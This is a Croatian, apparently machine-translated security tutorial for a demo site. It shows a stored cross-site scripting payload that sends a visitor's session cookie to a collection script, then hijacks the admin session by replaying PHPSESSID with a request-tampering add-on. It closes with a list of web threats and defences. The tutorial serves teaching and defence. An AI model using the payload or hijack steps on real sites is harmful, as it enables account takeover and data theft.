Kako hakirati web stranicu? Tehnike hakiranja web stranice
⚡ Pametni sažetak
Hakiranje web stranica iskorištava slabosti u web aplikacijama - loše napisan kod, neprovjeren unos i slabo rukovanje sesijama - kako bi se dobio neovlašteni pristup. Ova stranica prikazuje uobičajene tehnike napada i, što je još važnije, protumjere koje održavaju web stranicu sigurnom.
Više ljudi ima pristup internetu nego ikad prije. To je potaknulo mnoge organizacije da razviju web aplikacije koje korisnici mogu koristiti online za interakciju s organizacijom. Loše napisan kod za web aplikacije može se iskoristiti za dobivanje neovlaštenog pristupa osjetljivim podacima i web poslužiteljima.
Naučit ćete uobičajene tehnike hakiranja web stranica i protumjere koje štite od takvih napada.
Kako hakirati web stranicu
U ovom praktičnom scenariju hakiranja web stranice, otet ćemo korisničku sesiju web aplikacije koja se nalazi na www.techpanda.orgKoristit ćemo cross-site scripting za čitanje ID-a sesije kolačića, a zatim ga upotrijebiti za oponašanje legitimne korisničke sesije.
Pretpostavka je da napadač ima pristup web aplikaciji i želi oteti sesije drugih korisnika koji koriste istu aplikaciju. Cilj ovog napada mogao bi biti dobivanje administratorskog pristupa web aplikaciji, pod pretpostavkom da je napadačev pristupni račun ograničen.
Korak 1) Otvorite URL http://www.techpanda.org/.
Za praktične svrhe, toplo se preporučuje pristup pomoću SQL injekcije. Pogledajte ovaj članak o SQL injekciji za više informacija o tome kako to učiniti.
Korak 2) Unesite podatke za prijavu.
E-pošta za prijavu je admin@google.com, a lozinka je Password2010.
Korak 3) Provjerite nadzornu ploču.
Ako ste se uspješno prijavili, dobit ćete sljedeću nadzornu ploču.
Korak 4) Unesite novi sadržaj.
Kliknite na Dodaj novi kontakt i unesite sljedeće kao ime:
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
Korak 5) Dodajte JavaSkripta.
Gornji kod koristi JavaSkripta. Dodaje hipervezu s događajem onclick. Kada ništa ne sluteći korisnik klikne na vezu, događaj dohvaća ID sesije PHP kolačića i šalje ga na stranicu snatch_sess_id.php zajedno s ID-om sesije u URL.
Korak 6) Dodajte detalje.
Unesite preostale podatke kao što je prikazano dolje i kliknite Spremi promjene.
Korak 7) Provjerite nadzornu ploču.
Vaša nadzorna ploča sada će izgledati kao na sljedećem zaslonu.
Korak 8) Provjerite ID sesije.
Budući da je cross-site skripta pohranjena u bazi podataka, ona se učitava svaki put kada se korisnici s pravima pristupa prijave. Kada se administrator prijavi i klikne na hipervezu s natpisom Dark, prikazuje se prozor s ID-om sesije prikazanim u URL.
Napomena: skripta bi mogla poslati vrijednost udaljenom poslužitelju na kojem je pohranjen PHPSESSID, a zatim preusmjeriti korisnika natrag kao da se ništa nije dogodilo.
Napomena: vrijednost koju dobijete može se razlikovati od one prikazane ovdje, ali koncept je isti.
Upotreba oponašanja sesije Firefox i Tamper Data dodatak
Napomena: klasični dodatak Tamper Data prikazan u nastavku više se ne instalira na trenutni Firefox, ali koncept koji ilustrira - presretanje i mijenjanje HTTP zahtjeva za ponovno reproduciranje snimljene sesije - ostaje nepromijenjen.
Dijagram toka u nastavku prikazuje korake koje morate poduzeti da biste dovršili ovu vježbu.
- Trebat će vam Firefox web preglednik za ovaj odjeljak i dodatak Tamper Data.
- Otvoren Firefox i instalirajte dodatak kao što je prikazano na dijagramima ispod.
- Potražite podatke o neovlaštenom pristupu, a zatim kliknite na instalaciju kao što je prikazano gore.
- Kliknite na Prihvati i instaliraj…
- Kliknite na Ponovno pokreni sada kada instalacija završi.
- Omogućite traku izbornika Firefox ako nije prikazano.
- Kliknite na izbornik Alati, a zatim odaberite Podaci o neovlaštenom mijenjanju kao što je prikazano dolje.
- Dobit ćete sljedeći prozor. Napomena: Ako prozor nije prazan, pritisnite gumb za brisanje.
- Kliknite na izbornik Pokreni neovlašteno mijenjanje.
- Prebacite se natrag na Firefox U web preglednik upišite http://www.techpanda.org/dashboard.php, a zatim pritisnite tipku Enter za učitavanje stranice.
- Dobit ćete sljedeći skočni prozor od Tamper Data.
- Skočni prozor ima tri (3) opcije. Opcija Izmjena omogućuje vam izmjenu podataka HTTP zaglavlja prije nego što se pošalju poslužitelju.
- Kliknite na nju.
- Dobit ćete sljedeći prozor.
- Kopirajte ID PHP sesije koji ste kopirali iz napada URL i zalijepite ga nakon znaka jednakosti. Vaša vrijednost bi sada trebala izgledati ovako.
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- Kliknite na gumb OK.
- Ponovno ćete dobiti skočni prozor s podacima o neovlaštenom mijenjanju.
- Poništite potvrdni okvir koji pita Continue Tampering?
- Kliknite na gumb za slanje kada završite.
- Trebali biste moći vidjeti nadzornu ploču kao što je prikazano dolje.
Napomena: nismo se prijavili; oponašali smo sesiju prijave koristeći PHPSESSID vrijednost koju smo preuzeli korištenjem cross-site scriptinga.
Što je web aplikacija? Što su web prijetnje?
Web aplikacija (poznata i kao web stranica) je aplikacija temeljena na klijent-poslužitelj modelu. Poslužitelj omogućuje pristup bazi podataka i poslovnu logiku. Nalazi se na web poslužitelju. Klijentska aplikacija radi na klijentskom web pregledniku. Web aplikacije su obično napisane u jezicima kao što su Java, C#, VB.Net, PHPi ColdFusion Markup Language, itd. Baze podataka koje se koriste u web aplikacijama uključuju MySQL, MS SQL Server, PostgreSQL, SQLite, Itd
Vrhunske tehnike hakiranja web stranica
Većina web aplikacija nalazi se na javnim poslužitelji dostupni putem interneta. To ih čini ranjivima na napade zbog lake dostupnosti. Slijede uobičajene prijetnje web aplikacijama.
- SQL Injection – cilj ove prijetnje mogao bi biti zaobilaženje algoritama za prijavu, sabotiranje podataka itd.
- Denial of Service Napadi – cilj ove prijetnje mogao bi biti uskratiti legitimnim korisnicima pristup resursu.
- Skripta na više stranica (XSS) – cilj ove prijetnje mogao bi biti ubrizgavanje koda koji se može izvršiti u pregledniku na strani klijenta.
- Trovanje kolačićima/sesijom – cilj ove prijetnje je izmijeniti kolačiće/podatke o sesiji od strane napadača kako bi dobio neovlašteni pristup.
- Neovlašteno mijenjanje obrasca – cilj ove prijetnje je modificiranje podataka obrazaca kao što su cijene u aplikacijama za e-trgovinu kako bi napadač mogao dobiti artikle po sniženim cijenama.
- Code Ubrizgavanje – cilj ove prijetnje je ubacivanje koda kao što je PHP, Python, itd. koji se mogu izvršiti na poslužitelju. Kod može instalirati stražnja vrata, otkriti osjetljive informacije itd.
- Oskvrnjivanje – cilj ove prijetnje je izmijeniti stranicu koja se prikazuje na web mjestu i preusmjeriti sve zahtjeve za stranicu na jednu stranicu koja sadrži poruku napadača.
Kako zaštititi svoju web stranicu od hakova?
Organizacija može usvojiti sljedeću politiku kako bi se zaštitila od napada web poslužitelja.
- SQL Injection – čišćenje i validacija korisničkih parametara prije slanja u bazu podataka na obradu može pomoći u smanjenju vjerojatnosti napada putem SQL injekcije. Mehanizmi baza podataka kao što je MS SQL Server, MySQLitd. podržavaju parametre i pripremljene naredbe. Mnogo su sigurniji od tradicionalnih SQL naredbi.
- Odbijanje napada usluga – Vatrozidi se mogu koristiti za odbacivanje prometa sa sumnjivih IP adresa ako je napad jednostavan DoS. Pravilna konfiguracija mreža i sustav za otkrivanje upada također mogu pomoći u smanjenju vjerojatnosti uspjeha DoS napada.
- Skriptiranje na više mjesta – validiranje i čišćenje zaglavlja, parametara proslijeđenih putem URL, parametri obrasca i skrivene vrijednosti mogu pomoći u smanjenju XSS napada.
- Trovanje kolačićima/sesijom – to se može spriječiti šifriranjem sadržaja kolačića, vremenskim ograničenjem kolačića nakon nekog vremena i povezivanjem kolačića s IP adresom klijenta koja je korištena za njihovo stvaranje.
- Neovlašteno mijenjanje obrasca – to se može spriječiti validacijom i provjerom korisničkog unosa prije njegove obrade.
- Code Ubrizgavanje – to se može spriječiti tretiranjem svih parametara kao podataka, a ne kao izvršnog koda. Za implementaciju ovoga mogu se koristiti sanitizacija i validacija.
- Oskvrnjivanje – dobar sigurnost web aplikacije Pravila bi trebala osigurati da se zapečate često korištene ranjivosti za pristup web poslužitelju. To može biti pravilna konfiguracija operativnog sustava, softvera web poslužitelja i najboljih sigurnosnih praksi prilikom razvoja.ping web aplikacije.
Provjeri ovo: 9 najbolji URL Skeneri za provjeru je li poveznica sigurna od zlonamjernog softvera



















